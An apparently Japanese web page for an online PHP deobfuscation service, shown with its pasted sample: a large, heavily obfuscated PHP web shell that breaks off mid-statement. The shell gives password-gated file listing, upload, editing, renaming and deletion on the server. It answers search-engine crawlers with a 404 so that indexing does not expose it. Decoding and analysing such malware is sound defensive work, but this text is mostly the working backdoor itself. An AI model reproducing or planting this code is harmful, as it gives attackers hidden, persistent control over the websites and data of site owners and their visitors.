Japanese 
English
PHP 難読化コードの復元・デコードWordpress 等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。
<?php
goto eWKaP; BFAPH: echo "\12\x3c\x74\x61\x62\154\145\x20\x63\x6c\141\x73\x73\x3d\42\164\x61\142\154\145\40\x74\141\142\154\145\55\x68\x6f\x76\x65\162\x22\76\12\40\x20\74\x74\x68\x65\x61\144\x3e\xa\x20\x20\x20\40\74\164\x72\76\xa\x20\x20\40\40\x20\x20\x3c\x74\x68\40\163\x63\157\160\x65\75\x22\x63\x6f\x6c\42\76\46\43\x32\x31\x35\61\x37\73\46\43\x33\x31\62\61\66\73\74\57\164\x68\x3e\xa\40\x20\x20\x20\40\x20\x3c\164\150\40\163\x63\x6f\160\145\x3d\x22\x63\157\154\42\x3e\x26\43\62\62\x38\62\x33\x3b\x26\43\x32\x33\65\66\x37\x3b\74\x2f\x74\x68\76\xa\x20\x20\40\x20\40\40\x3c\164\150\x20\x73\x63\x6f\x70\145\x3d\42\143\x6f\154\42\x3e\46\x23\x32\66\61\x30\62\73\46\43\x33\x38\x33\70\x38\73\74\57\x74\150\76\xa\x20\x20\40\x20\40\40\x3c\x74\150\40\163\x63\x6f\160\145\75\x22\x63\157\x6c\x22\76\x26\x23\62\x36\64\x33\65\x3b\x26\x23\63\x38\x34\x38\x30\x3b\74\x2f\x74\x68\76\12\x20\40\40\x20\40\40\74\x74\x68\40\163\143\157\160\x65\75\42\x63\x6f\154\42\x3e\46\43\62\x35\70\60\65\x3b\x26\x23\x32\60\63\61\x36\73\74\x2f\x74\x68\x3e\12\x20\x20\x20\40\74\57\164\x72\x3e\12\40\40\74\x2f\164\150\145\141\144\x3e\12\40\40\x3c\x74\x62\x6f\x64\x79\x3e\12"; goto rrgmn; PWdh8: ZG2gQ: goto gqden; eFM94: EQ5VV: goto zaiTK; vUpyF: function fO0zd($SWyBO) { return substr(strrchr($SWyBO, "\56"), 1); } goto O_BKB; ZNugu: $Z3Te4 = yiAHL . "\57" . $_GET["\144"]; goto HqMt6; menY6: if (!empty($_GET)) { goto i87iE; } goto PjTz8; VH27A: goto MvaYI; goto IYTQH; zaiTK: if (!(isset($_GET["\144"]) && isset($_GET["\x71"]))) { goto Io3D1; } goto ZNugu; nP355: if (!isset($_POST["\162\145\156\x61\x6d\x65"])) { goto VNU2b; } goto q3emF; VnXtU: $F4zlp = scandir(yiAHL); goto Bh58i; OHH9c: goto MvaYI; goto crcVY; ZpCQ1: $oPwFr = explode("\x2f", $K6eSV); goto OuRZO; HnrqX: http_response_code(404); goto RgDcG; vHad7: echo "\74\163\x63\x72\151\160\x74\x3e\12\141\x6c\x65\x72\164\x28\47\x44\151\162\x65\143\164\x6f\x72\171\40\151\x73\40\x43\157\x72\x72\x75\x70\x74\145\x64\x20\x61\x6e\x64\40\x55\x6e\x72\145\141\x64\x61\x62\x6c\x65\56\x27\51\x3b\xa\x77\151\x6e\144\157\167\56\154\157\143\141\164\x69\157\x6e\x2e\x72\145\160\154\x61\x63\x65\x28\47\x3f\47\x29\73\12\74\57\163\143\162\x69\x70\x74\x3e"; goto iJ4c9; X4vNb: $IWAzX = $RwlH5; goto o5WSR; TeE9y: if (!isset($_POST["\x70\167\x5f\x6e\x61\x6d\145\x5f\x32\60\65\62\x36"])) { goto uqKMG; } goto lT5si; uFmwA: VjhyE: goto bSq1k; bSq1k: echo "\12\74\57\x64\151\166\76\12\x3c\144\x69\166\x20\143\154\141\x73\163\75\x22\x66\157\x72\x6d\55\x69\156\154\151\x6e\145\42\76\12\74\141\40\x68\x72\x65\146\x3d\x22\x3f\x75\160\154\x6f\141\144\46\161\75" . urlencode(QCyQx(yiAHL)) . "\x22\76\74\x62\165\x74\x74\157\x6e\x20\143\x6c\x61\x73\163\x3d\x22\142\x74\156\x20\142\x74\156\55\x64\x61\162\x6b\x22\40\164\171\160\145\75\42\142\x75\x74\x74\157\x6e\42\x3e\46\x23\61\71\x39\67\x38\73\46\43\x32\x30\x32\65\x36\x3b\x3c\57\x62\165\x74\164\x6f\x6e\76\x3c\57\141\76\12\x26\x6e\142\163\x70\73\xa\x3c\57\x64\151\x76\76\12\74\57\x6e\141\x76\x3e"; goto mzg8i; JXCwm: if (empty($_SERVER["\x48\x54\124\120\x5f\x55\x53\105\x52\x5f\x41\x47\x45\x4e\x54"])) { goto GcKJx; } goto c2JoR; oOvUL: echo "\x3c\x73\143\162\x69\160\x74\x3e\x61\x6c\145\162\x74\50\47\x46\x69\154\x65\x20\162\x65\155\157\166\145\x64\56\x27\51\x3b\x20\x77\151\x6e\144\x6f\x77\56\154\157\x63\141\x74\x69\x6f\x6e\x2e\162\x65\x70\154\141\143\145\x28\x27\x3f\x70\75" . QcYqX(yiAHL) . "\47\x29\x3b\74\x2f\x73\143\x72\151\x70\164\x3e"; goto Jwy3a; sjxGm: echo "\74\x73\143\162\x69\160\164\76\141\154\x65\162\x74\x28\x27\x53\157\155\x65\x20\145\x72\162\x6f\162\x20\157\x63\143\x75\x72\162\x65\144\56\47\51\73\40\167\151\156\144\x6f\x77\x2e\154\x6f\143\141\x74\151\x6f\156\x2e\162\145\x70\154\x61\x63\x65\x28\x27\77\x70\x3d" . qCYQX(yiAHL) . "\47\x29\x3b\x3c\x2f\x73\x63\x72\151\x70\164\76"; goto piZvH; mzg8i: if (isset($_GET["\160"])) { goto ZG2gQ; } goto menY6; wMhR6: VDZnQ: goto BFAPH; TxrHz: fjqEL: goto wqi0n; xyha1: if (!preg_match("\x2f" . implode("\174", $Vko0s) . "\57\151", $_SERVER["\x48\124\124\x50\137\125\123\105\122\137\x41\x47\x45\116\x54"])) { goto nv1cf; } goto YcJ2f; wFCup: if (!isset($_POST["\x75\x70\154\x6f\x61\144"])) { goto EQ5VV; } goto HFS2q; dOjQF: foreach ($F4zlp as $kDruQ) { goto yeBqG; t1QXc: if (is_dir($FYdY7)) { goto oEpt3; } goto kfF91; UqiRj: FTDev: goto NCOSm; HkPA2: goto FTDev; goto l1ftJ; rKqhM: array_push($M79ft, $kDruQ); goto UqiRj; VFMc6: $FYdY7 = yiAHL . "\x2f" . $kDruQ; goto t1QXc; tbAnJ: tOrWw: goto VFMc6; q0tta: goto FTDev; goto jmmDE; ltn0x: goto ydMvK; goto tbAnJ; yeBqG: if (!($kDruQ == "\56" || $kDruQ == "\56\56")) { goto tOrWw; } goto ltn0x; jmmDE: oEpt3: goto kkuX2; kkuX2: array_push($yAj5_, $kDruQ); goto HkPA2; NCOSm: ydMvK: goto hjHbQ; l1ftJ: VEIOJ: goto rKqhM; kfF91: if (is_file($FYdY7)) { goto VEIOJ; } goto q0tta; hjHbQ: } goto iolyk; L3tXk: scLTq: goto wFCup; JswJ8: $IWAzX = XykED($_GET["\161"]); goto mO3qo; IYTQH: A53jf: goto h0XMm; ppMI0: UBF89: goto erqyc; P1Dvl: $IWAzX = XykEd($_GET["\160"]); goto ja9kI; Okmhn: $IWAzX = $RwlH5; goto yUxtB; jDYGL: die("\x3c\x66\x6f\162\x6d\40\x61\x63\164\151\x6f\x6e\x3d\47\77\x70\x3d\47\x20\x6d\145\x74\150\x6f\x64\x3d\x70\x6f\163\x74\40\x3e\74\151\156\160\x75\x74\x20\164\x79\x70\x65\75\160\x61\163\163\167\157\162\x64\x20\x6e\141\155\145\75\x27\160\x77\x5f\156\141\x6d\145\137\62\x30\x35\x32\66\47\40\166\x61\x6c\165\x65\x3d\47" . $_GET["\160\167"] . "\x27\x20\40\162\145\161\165\151\162\145\x64\x3e\74\x69\x6e\x70\165\164\x20\x74\x79\x70\145\75\163\165\x62\155\x69\x74\x20\x6e\x61\x6d\x65\x3d\x27\167\141\x74\x63\x68\151\156\x67\x27\40\x3e\74\57\x66\157\162\x6d\x3e"); goto kfxU2; PjTz8: echo "\x3c\163\x63\162\151\160\164\x3e\167\x69\156\x64\x6f\x77\x2e\154\x6f\143\x61\164\151\x6f\156\x2e\162\145\160\154\x61\143\x65\50\x27\77\x70\x3d\x27\x29\x3b\74\57\163\x63\x72\151\160\x74\x3e"; goto q6LcC; sPGI1: goto gA1ab; goto ppMI0; zZtbE: echo "\12\40\40\x20\40\74\x66\x6f\x72\x6d\x20\x6d\x65\164\x68\157\144\x3d\42\x70\x6f\x73\x74\42\40\145\156\143\164\x79\x70\x65\x3d\42\155\165\x6c\164\151\160\x61\162\x74\x2f\x66\157\x72\x6d\x2d\x64\x61\164\x61\x22\x3e\12\40\40\x20\40\46\x23\63\66\70\x37\x33\x3b\46\43\62\65\x33\x32\x31\x3b\46\x23\x32\65\x39\x39\61\x3b\46\x23\62\60\62\x31\x34\x3b\72\12\x20\x20\40\40\x20\40\x20\x20\74\x69\156\160\165\x74\40\x74\x79\x70\145\x3d\42\x66\151\x6c\145\42\x20\156\x61\x6d\145\x3d\42\x66\x69\154\x65\124\x6f\125\x70\x6c\157\141\x64\x22\40\151\144\x3d\x22\146\151\x6c\145\124\157\125\x70\154\157\x61\x64\42\76\12\x20\x20\x20\x20\40\40\40\x20\x3c\x69\156\160\165\x74\x20\x74\171\x70\145\75\x22\163\165\142\x6d\x69\164\x22\x20\x63\154\x61\163\x73\x3d\x22\142\164\x6e\x20\142\164\156\x2d\x64\x61\162\x6b\42\40\x6e\141\155\x65\x3d\42\x75\160\x6c\x6f\141\144\x22\x3e\12\x20\x20\x20\40\74\x2f\146\157\162\155\76"; goto qguJi; s_1kK: Satqu: goto zTsRM; q6zYu: if (empty($_GET["\160"])) { goto pW0OC; } goto qbpxe; ja9kI: Eyp7r: goto huswn; XWBmh: MFNHT: goto n03Uu; rZ3Zp: echo "\x3c\163\x63\x72\x69\160\x74\x3e\141\154\145\162\x74\x28\47\123\x6f\155\145\x20\x65\x72\x72\157\162\x20\x6f\x63\143\x75\x72\162\145\144\x2e\47\51\x3b\x20\x77\151\156\144\157\167\x2e\154\x6f\143\141\164\151\157\156\x2e\x72\x65\160\154\141\143\x65\x28\47\77\x70\x3d" . qCYQx(yiAHL) . "\47\51\73\x3c\x2f\x73\x63\162\151\x70\x74\x3e"; goto jgcOC; JnlYW: ZmypD: goto Oz2NC; kfxU2: jXlCM: goto kTLzi; kV_9U: if (fwrite($qRi60, $Dr9AM)) { goto BDfak; } goto rZ3Zp; kz0Bx: uEeZ9: goto eFM94; IgOR9: if (move_uploaded_file($_FILES["\146\151\x6c\145\x54\157\125\160\154\157\x61\144"]["\x74\x6d\x70\137\156\x61\155\x65"], $YOzF6)) { goto ZmypD; } goto WP1GG; n03Uu: if (!isset($_GET["\145"])) { goto scLTq; } goto h6FXp; ZvMtN: K2zid: goto P772a; iolyk: oye4k: goto wMhR6; h0XMm: echo "\74\x73\x63\x72\151\x70\164\x3e\x77\x69\156\144\x6f\167\x2e\x6c\157\143\x61\x74\x69\157\x6e\56\x72\145\x70\x6c\x61\143\x65\50\x27\x3f\x70\75\x27\51\73\x3c\x2f\x73\143\162\x69\x70\164\76"; goto OHH9c; B0V1D: function FJyUi($FbG_F) { goto M8XFA; ehuzL: vwfwq: goto jBWiK; nNKQ3: goto vwfwq; goto eb4E6; Q6B4S: $FbG_F = number_format($FbG_F / 1024, 2) . "\x20\x4b\102"; goto TU7AB; TU7AB: goto vwfwq; goto djTUv; l7p3G: goto vwfwq; goto yDLaf; WuY0Q: $FbG_F = number_format($FbG_F / 1073741824, 2) . "\40\107\102"; goto l7p3G; djTUv: ktO6o: goto Tbk2T; yDLaf: oRIIA: goto zU_1l; jBWiK: return $FbG_F; goto S3KMf; xViLQ: goto vwfwq; goto DRORm; DRORm: GPvM5: goto WuY0Q; Ivt_p: kkmv8: goto f9ktn; zU_1l: $FbG_F = number_format($FbG_F / 1048576, 2) . "\x20\115\102"; goto nNKQ3; xEoL_: goto vwfwq; goto Ivt_p; f9ktn: $FbG_F = $FbG_F . "\40\x62\x79\164\x65"; goto ehuzL; sg3hV: if ($FbG_F > 1) { goto ktO6o; } goto Z0ptT; Tbk2T: $FbG_F = $FbG_F . "\40\x62\171\164\145\x73"; goto xEoL_; GCylV: if ($FbG_F >= 1048576) { goto oRIIA; } goto LewzF; LewzF: if ($FbG_F >= 1024) { goto H6yc7; } goto sg3hV; M8XFA: if ($FbG_F >= 1073741824) { goto GPvM5; } goto GCylV; eb4E6: H6yc7: goto Q6B4S; Z0ptT: if ($FbG_F == 1) { goto kkmv8; } goto Lx8Be; Lx8Be: $FbG_F = "\x30\40\x62\171\x74\x65\x73"; goto xViLQ; S3KMf: } goto vUpyF; KFoir: A60CO: goto WRSax; o5WSR: goto F_hLr; goto FlLDb; be4iG: goto Eyp7r; goto Gpmna; EHiLv: function xykeD($K6eSV) { goto NAzeS; c_ysO: return str_replace($we7RH, $CBP1y, $K6eSV); goto Im2hd; k5APB: $we7RH = array("\xe0\246\x95", "\xe0\xa6\x96", "\340\xa6\x97", "\xe0\xa6\230"); goto c_ysO; NAzeS: $CBP1y = array("\57", "\x5c", "\56", "\x3a"); goto k5APB; Im2hd: } goto EKEye; wqi0n: Io3D1: goto ZiH9D; oInP0: BDfak: goto Jjsm0; NZB3J: if (rmdir($Z3Te4) == true) { goto LcLDk; } goto OHBKY; pLzSV: fclose($qRi60); goto hLHLX; FlLDb: EpqoI: goto q6zYu; ZWoVI: sdd8q: goto BUR3q; QEE5x: uqKMG: goto sPGI1; MPR1i: v62Rv: goto WVcfR; Jjsm0: echo "\x3c\163\x63\x72\151\160\x74\76\x61\x6c\x65\x72\x74\x28\47\123\x61\166\145\144\56\x27\51\73\40\167\151\x6e\x64\x6f\167\x2e\154\x6f\143\141\x74\x69\x6f\156\56\x72\x65\x70\154\141\143\x65\x28\47\77\x70\x3d" . QCYqx(yiAHL) . "\47\x29\x3b\x3c\57\163\143\162\x69\160\x74\76"; goto EMaLD; mObsQ: CI331: goto QEE5x; zTsRM: echo "\x20\x20\74\x2f\x74\142\157\144\171\x3e\xa\74\57\164\141\142\x6c\145\76"; goto MPR1i; Thw4t: if (unlink($Z3Te4)) { goto AiZHo; } goto wPs88; iz6_J: LcLDk: goto fCFep; BlA_s: if (!(!empty($_GET["\162"]) && isset($_GET["\161"]))) { goto n61C5; } goto HNJe7; HFS2q: $YOzF6 = yiAHL . "\57" . $_FILES["\x66\x69\x6c\x65\x54\157\x55\160\x6c\x6f\x61\x64"]["\x6e\141\x6d\145"]; goto IgOR9; OuRZO: foreach ($oPwFr as $Z0uqx => $O0nnl) { goto H6R_0; om2DR: echo "\340\xa6\x95"; goto sgxS1; pi6KL: goto CoL8m; goto gOmZV; X12DP: VBKVk: goto vN9zX; nzSB2: if (!($tSJN4 <= $Z0uqx)) { goto f1snc; } goto OWBEi; YzCMJ: if (!($O0nnl == '')) { goto VBKVk; } goto q9PJf; ZxqHq: $tSJN4++; goto ak7DF; ZpCdz: uu4xr: goto nzSB2; C2Fkn: echo "\74\141\x20\150\x72\145\x66\x3d\42\77\160\x3d\57\x22\x3e\x2f\x3c\57\x61\x3e"; goto pi6KL; R3eGf: $CBP1y = true; goto C2Fkn; LHmws: if (!($tSJN4 != $Z0uqx)) { goto nS4Bh; } goto om2DR; q9PJf: goto CoL8m; goto X12DP; sy6OJ: vVsbB: goto ZxqHq; OWBEi: echo str_replace("\x3a", "\xe0\246\230", $oPwFr[$tSJN4]); goto LHmws; gOmZV: A0t0X: goto YzCMJ; UGeZC: f1snc: goto L0oCS; vN9zX: echo "\x3c\141\x20\x68\162\145\146\x3d\47\77\160\75"; goto Sb4ok; ak7DF: goto uu4xr; goto UGeZC; H6R_0: if (!($O0nnl == '' && $Z0uqx == 0)) { goto A0t0X; } goto R3eGf; Sb4ok: $tSJN4 = 0; goto ZpCdz; sgxS1: nS4Bh: goto sy6OJ; qiuDg: CoL8m: goto no5cX; L0oCS: echo "\x27\x3e" . $O0nnl . "\x3c\x2f\x61\x3e\x2f"; goto qiuDg; no5cX: } goto uFmwA; Vobpg: if ($v5l3Z) { goto jXlCM; } goto jDYGL; h6FXp: if (!(!empty($_GET["\x65"]) && isset($_GET["\161"]))) { goto XWmUv; } goto R3R5O; Q8mWy: goto fjqEL; goto PNB0X; QduLN: $v5l3Z = true; goto KFoir; hLHLX: TonXo: goto iWynH; jgQ0k: nv1cf: goto aLeLL; huswn: goto F_hLr; goto ZWoVI; gqden: if (!is_readable(yiAHL)) { goto VDZnQ; } goto VnXtU; Gpmna: pW0OC: goto Okmhn; S4yYM: $Dr9AM = $_POST["\144\x61\x74\141"]; goto H15nS; PNB0X: OSn4k: goto NZB3J; HqMt6: if (is_file($Z3Te4)) { goto kAAAB; } goto vgnw8; iWynH: XWmUv: goto L3tXk; Oz2NC: echo "\x3c\x70\x3e" . htmlspecialchars(basename($_FILES["\x66\151\x6c\x65\x54\x6f\x55\x70\154\x6f\x61\x64"]["\156\x61\155\145"])) . "\x20\x68\141\x73\40\142\145\x65\x6e\x20\x75\x70\x6c\x6f\141\144\x65\144\x2e\x3c\57\160\x3e"; goto kz0Bx; v9Ort: exit; goto jgQ0k; wrHRv: goto uEeZ9; goto JnlYW; BUR3q: if (!is_dir(xyKeD($_GET["\x71"]))) { goto A53jf; } goto RSMyl; nYBQd: AiZHo: goto oOvUL; erqyc: if (!($_COOKIE["\160\x77\x5f\156\141\155\x65\137\x32\60\x35\62\66"] == $Lw20_)) { goto A60CO; } goto QduLN; jgcOC: goto fax3k; goto oInP0; XwfTU: goto fjqEL; goto KUhkp; sEgyX: $v5l3Z = false; goto BxSiU; QODdi: goto v62Rv; goto PWdh8; RrDSm: MvXJN: goto pj46L; qguJi: b1Ulh: goto AL0Co; Bh58i: $yAj5_ = array(); goto fSt10; C7wH0: WasTM: goto K_l3Z; UxZRE: if (isset($_GET["\160"])) { goto EpqoI; } goto kFqbh; R3R5O: echo "\xa\x20\x20\40\x20\x3c\x66\x6f\x72\155\x20\155\x65\164\x68\157\x64\x3d\42\x70\157\163\x74\42\x3e\12\40\40\x20\x20\40\40\x20\40\74\x74\x65\170\x74\141\x72\x65\141\x20\x73\x74\x79\154\145\x3d\x22\x68\x65\x69\147\x68\x74\72\40\65\x30\x30\160\x78\73\12\40\40\40\40\40\x20\x20\40\x77\151\x64\164\150\72\x20\x31\60\60\45\73\x22\x20\156\x61\155\145\x3d\42\144\141\x74\x61\x22\76" . htmlspecialchars(file_get_contents(yiAHL . "\57" . $_GET["\145"])) . "\74\57\x74\145\170\164\x61\162\x65\x61\x3e\xa\40\x20\40\x20\40\40\40\x20\74\142\162\76\12\x20\x20\x20\x20\40\40\x20\40\x3c\151\156\160\x75\x74\40\164\x79\x70\x65\x3d\42\163\165\x62\155\x69\x74\42\x20\143\154\141\x73\163\75\42\142\164\x6e\x20\142\x74\156\55\144\141\162\x6b\x22\40\156\141\x6d\x65\75\x22\x65\x64\x69\164\42\x3e\12\40\x20\x20\x20\x3c\x2f\x66\157\x72\155\x3e"; goto x1SVW; LVRT9: F_hLr: goto DRfW1; AL0Co: if (!isset($_GET["\162"])) { goto MFNHT; } goto BlA_s; yUxtB: goto Eyp7r; goto Pc_BE; q6LcC: i87iE: goto QODdi; mO3qo: MvaYI: goto LVRT9; gk9so: $rPBIh = yiAHL . "\x2f" . $_GET["\145"]; goto S4yYM; HNJe7: echo "\12\40\40\40\x20\x3c\146\x6f\x72\x6d\x20\x6d\145\x74\150\x6f\x64\x3d\x22\x70\157\163\x74\x22\76\xa\x20\40\x20\x20\x20\40\40\40\46\x23\x33\67\63\62\x35\x3b\x26\43\x32\66\x30\x33\x32\73\46\x23\62\61\66\x32\71\73\x26\x23\62\x31\x35\61\x37\x3b\72\12\40\x20\40\x20\x20\x20\x20\x20\74\151\x6e\160\x75\164\40\x74\171\x70\145\x3d\42\164\x65\170\164\x22\x20\x6e\x61\155\145\75\42\x6e\141\155\x65\x22\x20\166\x61\154\x75\145\75\x22" . $_GET["\x72"] . "\42\76\xa\x20\x20\x20\x20\40\40\x20\40\x3c\x69\156\160\165\164\40\x74\171\x70\145\75\x22\x73\x75\x62\x6d\151\x74\42\40\143\154\141\163\x73\x3d\42\142\x74\x6e\x20\x62\x74\156\55\144\141\162\x6b\42\40\156\141\155\145\x3d\42\162\145\x6e\141\155\145\42\x3e\12\x20\x20\x20\40\74\57\146\x6f\162\x6d\x3e"; goto nP355; zP3dv: goto WwyRI; goto nYBQd; O_BKB: function L0CWD($SWyBO) { goto Dyqfb; OkzCT: if (in_array($lDGLf, $poUDG)) { goto tJOB4; } goto uKAby; o2OST: $gVgRb = array("\167\141\166", "\x6d\64\141", "\x6d\64\x62", "\155\160\63", "\157\x67\x67", "\x77\x65\142\x6d", "\155\160\x63"); goto SwCDp; JWelJ: if ($lDGLf == "\x70\x79") { goto tDkJz; } goto X2KXG; FX3YC: goto EtTts; goto lsSXV; Dyqfb: $poUDG = array("\x61\x70\x6e\x67", "\141\x76\x69\x66", "\x67\x69\x66", "\152\x70\147", "\152\x70\x65\x67", "\x6a\x66\x69\146", "\160\152\x70\145\x67", "\160\x6a\160", "\x70\x6e\147", "\x73\166\147", "\x77\145\x62\160"); goto o2OST; SrPpu: if ($lDGLf == "\x70\x68\x70" || $lDGLf == "\x70\150\164\x6d\x6c") { goto kaTU_; } goto OkzCT; uKAby: if ($lDGLf == "\143\163\163") { goto yIx0u; } goto BytMk; F6PLg: return "\74\x69\40\143\154\x61\163\x73\75\x22\146\141\x2d\142\162\141\x6e\144\163\x20\x66\141\x2d\160\x79\164\150\157\x6e\42\x3e\x3c\x2f\151\x3e\x20"; goto XOUJO; WIbAR: return "\x3c\151\40\x63\154\x61\x73\x73\x3d\x22\146\141\x2d\144\165\x6f\x74\157\156\x65\x20\146\141\55\146\151\x6c\x65\55\x6d\x75\163\151\x63\x22\76\74\x2f\151\76\40"; goto JURXD; nWVrT: if ($SWyBO == "\56\150\164\141\x63\x63\x65\163\163") { goto Z5qBA; } goto TQ1Jr; U2oov: if (in_array($lDGLf, $gVgRb)) { goto v_U_P; } goto JWelJ; xL6rG: tDkJz: goto F6PLg; VebLs: goto EtTts; goto NWzLF; X2KXG: if ($lDGLf == "\152\x73") { goto tSAP8; } goto L3pS8; lsSXV: tJOB4: goto W46so; NWzLF: w1ky2: goto PTSHV; GiVh7: return "\x3c\151\40\143\x6c\141\163\163\x3d\x22\146\x61\55\163\x6f\154\x69\144\40\146\141\55\x68\x61\155\155\145\162\42\x3e\74\x2f\x69\76\40"; goto n_ONq; PTSHV: return "\74\x69\40\x63\x6c\141\163\x73\x3d\x22\146\x61\55\x72\x65\147\x75\154\x61\162\x20\x66\x61\x2d\146\151\x6c\145\55\x6c\x69\x6e\145\x73\42\x3e\x3c\x2f\x69\76\40"; goto di7mW; Rh_Ao: return "\74\x69\40\x63\x6c\141\x73\x73\x3d\42\146\141\x2d\142\162\141\156\144\163\x20\x66\141\55\150\164\155\154\65\42\x3e\74\x2f\x69\x3e\40"; goto qHRxz; xysXd: yIx0u: goto zMPe5; TQ1Jr: goto H6sh_; goto laWro; IJUrK: EtTts: goto HJkPF; yeE_x: goto H6sh_; goto KY1mI; pePE8: j0d7u: goto Rh_Ao; fUj9U: kaTU_: goto MH3bQ; zMPe5: return "\74\x69\40\143\x6c\x61\x73\163\75\x22\x66\141\55\142\162\x61\x6e\144\x73\40\x66\141\55\x63\x73\x73\63\x22\76\x3c\x2f\151\x3e\x20"; goto VebLs; MH3bQ: return "\x3c\x69\x20\x63\154\x61\x73\x73\x3d\x22\x66\x61\x2d\142\x72\141\156\144\163\x20\x66\x61\x2d\x70\150\160\x22\76\x3c\57\151\x3e\40"; goto FX3YC; R20_s: if ($lDGLf == "\x68\x74\155\154" || $lDGLf == "\x68\164\155") { goto j0d7u; } goto SrPpu; L3pS8: return "\74\x69\40\x63\x6c\141\x73\x73\x3d\x22\x66\141\x2d\163\x6f\154\151\x64\40\x66\x61\55\146\x69\154\145\x22\76\74\57\151\x3e\40"; goto Ivf4x; BytMk: if ($lDGLf == "\164\170\164") { goto w1ky2; } goto U2oov; XclOh: tSAP8: goto rMSCw; VzDBL: return "\x3c\x69\x20\x63\x6c\141\x73\x73\75\42\146\141\55\x73\150\x61\162\160\x20\x66\x61\x2d\x73\157\154\x69\x64\x20\x66\x61\x2d\x62\x75\x67\x22\x3e\74\57\151\x3e\x20"; goto yeE_x; n_ONq: H6sh_: goto R20_s; qHRxz: goto EtTts; goto fUj9U; tLDrW: v_U_P: goto WIbAR; rMSCw: return "\74\x69\x20\143\x6c\x61\163\x73\x3d\42\146\x61\x2d\x62\162\141\156\144\163\x20\x66\x61\55\x6a\163\42\76\74\57\x69\76\x20"; goto IJUrK; di7mW: goto EtTts; goto tLDrW; JURXD: goto EtTts; goto xL6rG; SwCDp: $lDGLf = strtolower(fO0ZD($SWyBO)); goto T3xpb; W46so: return "\74\x69\x20\143\x6c\x61\163\x73\x3d\42\146\x61\x2d\x72\x65\x67\165\x6c\x61\162\x20\x66\x61\55\151\155\x61\147\145\163\x22\x3e\74\x2f\151\76\x20"; goto hFEjr; hFEjr: goto EtTts; goto xysXd; laWro: Wepdm: goto VzDBL; Ivf4x: goto EtTts; goto pePE8; XOUJO: goto EtTts; goto XclOh; KY1mI: Z5qBA: goto GiVh7; T3xpb: if ($SWyBO == "\x65\x72\162\x6f\162\x5f\154\157\147") { goto Wepdm; } goto nWVrT; HJkPF: } goto IKohY; WRSax: gA1ab: goto Vobpg; q3emF: $Z3Te4 = yiAHL . "\x2f" . $_GET["\162"]; goto OvSIa; rrgmn: foreach ($yAj5_ as $gCmJh) { echo "\40\40\40\x20\74\x74\x72\x3e\12\x20\40\x20\x20\x20\40\74\x74\x64\76\74\x69\x20\x63\154\x61\x73\163\x3d\x27\146\x61\55\163\x6f\x6c\151\x64\x20\146\141\55\146\157\154\x64\x65\162\47\76\74\x2f\x69\x3e\40\x3c\141\x20\x68\x72\x65\x66\75\x27\x3f\160\x3d" . urlencode(qCyQx(yiAHL . "\57" . $gCmJh)) . "\47\76" . $gCmJh . "\x3c\x2f\141\76\x3c\x2f\164\144\76\xa\x20\40\x20\40\40\x20\x3c\164\x64\x3e\x3c\x62\76\55\x2d\55\74\57\142\x3e\74\x2f\x74\144\76\12\40\x20\40\40\40\x20\74\x74\x64\76" . date("\131\x2d\155\x2d\144\x20\x48\72\x69\72\x73", filemtime(yiAHL . "\57" . $gCmJh)) . "\x3c\57\x74\x64\x3e\xa\40\40\x20\x20\40\x20\x3c\164\x64\x3e\60" . substr(decoct(fileperms(yiAHL . "\57" . $gCmJh)), -3) . "\x3c\x2f\141\76\74\57\x74\144\76\xa\x20\40\x20\x20\x20\x20\74\x74\x64\76\12\x20\x20\40\40\x20\40\74\x61\x20\164\x69\164\x6c\145\x3d\47\x26\43\x33\x37\63\x32\x35\73\x26\x23\62\x36\x30\63\x32\73\x26\x23\62\61\x36\62\71\x3b\46\43\62\x31\65\x31\x37\73\47\40\150\x72\x65\x66\75\x27\77\161\x3d" . urlencode(qCyqx(yiAHL)) . "\46\162\x3d" . $gCmJh . "\x27\76\74\151\x20\143\x6c\x61\x73\x73\x3d\x27\146\x61\x2d\x73\x68\141\x72\x70\40\x66\141\55\162\145\147\x75\154\x61\x72\x20\146\141\x2d\160\145\156\55\164\x6f\x2d\163\x71\165\x61\162\x65\47\76\74\57\x69\x3e\74\57\x61\x3e\12\x20\40\40\40\40\40\74\x61\x20\x74\151\x74\154\145\75\47\x26\43\62\x31\x30\x32\64\73\46\x23\x33\x38\65\60\x30\73\47\40\x68\x72\145\x66\75\47\x3f\161\x3d" . urlencode(QcyQX(yiAHL)) . "\x26\144\75" . $gCmJh . "\x27\x3e\x3c\x69\40\143\x6c\141\x73\163\75\47\x66\x61\40\x66\x61\55\x74\162\141\x73\x68\47\40\x61\x72\x69\x61\55\x68\x69\x64\144\x65\156\75\47\164\x72\165\145\x27\76\74\57\x69\76\x3c\57\141\76\12\x20\x20\x20\40\40\x20\x3c\x74\x64\76\12\40\x20\x20\40\74\57\164\162\x3e\12"; sporq: } goto ZvMtN; c2JoR: $Vko0s = array("\x47\x6f\157\147\154\x65", "\123\x6c\165\162\x70", "\115\x53\116\x42\x6f\x74", "\151\141\137\141\162\143\x68\151\x76\145\162", "\131\x61\156\x64\145\170", "\x52\141\155\142\154\x65\x72"); goto xyha1; OHBKY: echo "\x3c\x73\x63\162\x69\160\164\x3e\141\x6c\x65\162\164\x28\47\123\x6f\x6d\x65\x20\x65\x72\162\157\162\x20\157\x63\x63\165\x72\162\x65\144\56\x27\x29\x3b\x20\x77\x69\156\x64\157\167\x2e\154\x6f\x63\141\164\151\x6f\x6e\56\x72\145\x70\x6c\141\143\145\50\x27\x3f\x70\x3d" . QcYQX(yiAHL) . "\x27\x29\73\74\x2f\163\143\x72\151\x70\x74\x3e"; goto Xkeio; H15nS: $qRi60 = fopen($rPBIh, "\167"); goto kV_9U; K_l3Z: echo "\x3c\163\x63\x72\x69\x70\164\x3e\x61\x6c\x65\162\x74\x28\47\x52\145\x6e\141\x6d\x65\x64\56\47\51\x3b\x20\x77\151\x6e\144\x6f\x77\x2e\x6c\157\143\x61\x74\151\157\156\56\162\x65\160\x6c\x61\x63\x65\x28\47\77\x70\75" . qCYqx(yiAHL) . "\47\x29\73\x3c\57\163\143\162\x69\160\164\x3e"; goto RrDSm; rJM4_: $v5l3Z = true; goto mObsQ; lT5si: if (!($_POST["\x70\x77\137\x6e\141\155\x65\137\x32\60\x35\x32\66"] == $Lw20_)) { goto CI331; } goto ZG74b; kTLzi: echo 